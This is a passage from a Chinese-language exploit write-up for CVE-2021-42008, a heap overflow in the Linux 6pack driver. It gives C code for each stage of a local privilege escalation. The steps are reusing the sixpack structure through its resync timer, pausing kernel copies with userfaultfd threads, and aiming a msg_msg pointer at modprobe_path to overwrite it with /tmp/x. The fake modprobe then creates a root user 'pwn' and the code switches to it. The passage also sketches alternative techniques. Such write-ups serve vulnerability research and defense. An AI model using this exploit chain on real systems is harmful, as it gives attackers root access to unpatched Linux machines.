地址,需要构造任意读原语。原先相连的sixpack
和msg_msg
结构都已被破坏,如果重新初始化新的sixpack
结构,会降低利用成功率,这里有方法复用之前损坏的sixpack
结构吗?答案是可以,之前提到了 tnc_init()
函数,当一个新的 sixpack channel
被初始化后,tnc_init()
会设置一个5s的timer,一旦超时就会调用 resync_tnc() 。
从 resync_tnc()
源码可以看到,5s后会重置 receiver 状态,意味着 sp->rx_count
和 sp->rx_count_cooked
被重置为0 — [1][2]
,sp->status
被设置为1—[3]
,接着重启该timer—[4]
。所以5s后就能重用该 sixpack
结构,构造OOB写。
static void resync_tnc(struct timer_list *t)
{
struct sixpack *sp = from_timer(sp, t, resync_t);
static char resync_cmd = 0xe8;
/* clear any data that might have been received */
sp->rx_count = 0; // [1]
sp->rx_count_cooked = 0; // [2]
/* reset state machine */
sp->status = 1; // [3]
sp->status1 = 1;
sp->status2 = 0;
/* resync the TNC */
sp->led_state = 0x60;
sp->tty->ops->write(sp->tty, &sp->led_state, 1);
sp->tty->ops->write(sp->tty, &resync_cmd, 1);
/* Start resync timer again -- the TNC might be still absent */
mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT); // [4]
}
userfaultfd初始化:我们可以接着初始化 N_THREADS
个(本exp中为8)页错误处理线程:首先8次调用 mmap(),每次map 3页内存;每次都使用userfaultfd
监视第2个页—[1]
;接着开启8个页错误处理 handler—[2]
,每个线程都处理一个特定的页。
void create_pfh_thread(int id, int ufd, void *page)
{
struct pfh_args *args = (struct pfh_args *)malloc(sizeof(struct pfh_args));
args->id = id;
args->ufd = ufd;
args->page = page;
pthread_create(&tid[id], NULL, page_fault_handler, (void *)args);
}
[...]
for (int i = 0; i < N_THREADS; i++) // [1]
{
mmap(pages[i], PAGE_SIZE*3, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
ufd[i] = initialize_ufd(pages[i]);
}
for (int i = 0; i < N_THREADS; i++)
create_pfh_thread(i, ufd[i], pages[i]); // [2]
[...]
构造任意写线程:接着继续分配8个 kmalloc-4096
大小的 msg_msg
和相应的 kmalloc-32
大小的 msg_msgseg
。
(1)首先关闭
msg_msg
在sixpack
结构之后的消息队列—[1]
,这样就能在原先的位置分配新的msg_msg
;(2)再次生成payload,这次
target = modprobe_path-0x8
—[2]
,这会将msg_msg->next
指针指向modprobe_path-0x8
,减去8是因为msg_msgseg->next
必须为NULL,否则load_msg()
就会访问下一个msg_msgseg
,导致崩溃;(3)我们调用
create_message_thread()
创建8个线程—[3]
,每个线程都分配kmalloc-4096
大小的msg_msg
,我们将消息放在被监控页的前0x10字节—[4]
,这样load_msg() -> copy_from_user()
会触发页错误并暂停;(4)最后,等待6s—
[5]
,等resync_tnc()
被调用并重置sixpack
receiver的状态(重置sixpack
结构)。
void alloc_msg_queue_B(int id)
{
if ((qid_B[id] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
perror("[X] msgget");
exit(1);
}
}
void *allocate_msg(void *arg)
{
int id = ((struct t_args *)arg)->id;
void *page = ((struct t_args *)arg)->page;
debug_printf("[Thread %d] Message buffer allocated at 0x%lx\n", id + 1, page + PAGE_SIZE - 0x10);
alloc_msg_queue_B(id);
memset(page, 0, PAGE_SIZE);
((uint64_t *)(page))[0xff0 / 8] = 1; // msg_msg.m_type = 1
if (msgsnd(qid_B[id], page + PAGE_SIZE - 0x10, 0x1018, 0) < 0) // [4]
{
perror("[X] msgsnd");
exit(1);
}
debug_printf("[Thread %d] Message sent!\n", id + 1);
}
void create_message_thread(int id, void *page)
{
struct t_args *args = (struct t_args *)malloc(sizeof(struct t_args));
args->id = id;
args->page = page;
pthread_create(&tid[id + 2], NULL, allocate_msg, (void *)args);
}
[...]
close_queue(qid_A[valid_qid]); // [1]
payload = generate_payload(modprobe_path - 0x8); // [2]
for (int i = 0; i < N_THREADS; i++)
create_message_thread(i, pages[i]); // [3]
waitfor(6, "Waiting for resync_tnc callback..."); // [5]
[...]
内存布局如下所示,sixpack
结构之后有一个新的 msg_msg
,copy_from_user()
也触发页错误而挂起,目前不知道哪一个消息队列的消息位于 sixpack
结构之后,暂时记为 QID #Y。
任意写payload:现在通过sixpack channel
来发送payload:payload先设置 sp->rx_count_cooked = 0x190
,再设置 sp->rx_count_cooked = 0x696
,再覆写某个msg_msg->next = modprobe_path-0x8
。
[...]
puts("[*] Overwriting modprobe_path...");
write(ptmx, payload, WRITE_PAYLOAD_SIZE); // [1]
[...]
篡改modprobe_path
:最后,打开每个页错误处理线程的栅栏:就会将 modprobe_path
指向的字符串篡改为 /tmp/x
。
[...]
release_pfh = true;
[...]
提权:最后阶段,触发执行 /sbin/modprobe
(其实是 /tmp/x
),并确认是否添加了新的root用户,调用getpwnam()(获取对应用户名的passwd结构)来确认,若失败则重新运行exp。
[...]
system("/tmp/asd 2>/dev/null"); // [1]
if (!getpwnam("pwn")) // [2]
{
puts("[X] Exploit failed, try again...");
goto end;
}
puts("[+] We are root!");
system("rm /tmp/asd && rm /tmp/x");
system("su pwn");
[...]
3. 结论
还有其他的方法可以利用本漏洞。内核 5.11 版本提出了 first patch,使非特权用户无法使用 userfaultfd,又提出了second patch,使得用户只能处理用户模式的页错误。
- 方法一:攻击者可以使用[FUSE](https://googleprojectzero.blogspot.com/2016/06/exploiting-recursion-in-linux-kernel_20.html#:~:text=pause the kernel thread) 来延迟页错误 creating unprivileged user+mount namespaces ,或者 [abuse discontiguous file mapping and scheduler behavior](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019 - Exploiting race conditions on Linux.pdf#page=30) 来替代
userfaultfd
- 方法二:篡改
msg_msg->next
指向之前泄露过的目标内核结构,如 seq_operations, subprocess_info, tty_struct,然后释放msg_msg
和相应的msg_msgseg
(指向目标结构),通过任意释放原语来构造目标结构的UAF,再通过劫持控制流来提权。
参考
[CVE-2021-42008] Exploiting A 16-Year-Old Vulnerability In The Linux 6pack Driver —— 漏洞利用
https://nvd.nist.gov/vuln/detail/CVE-2021-42008
6pack Protocol —— 6pack协议介绍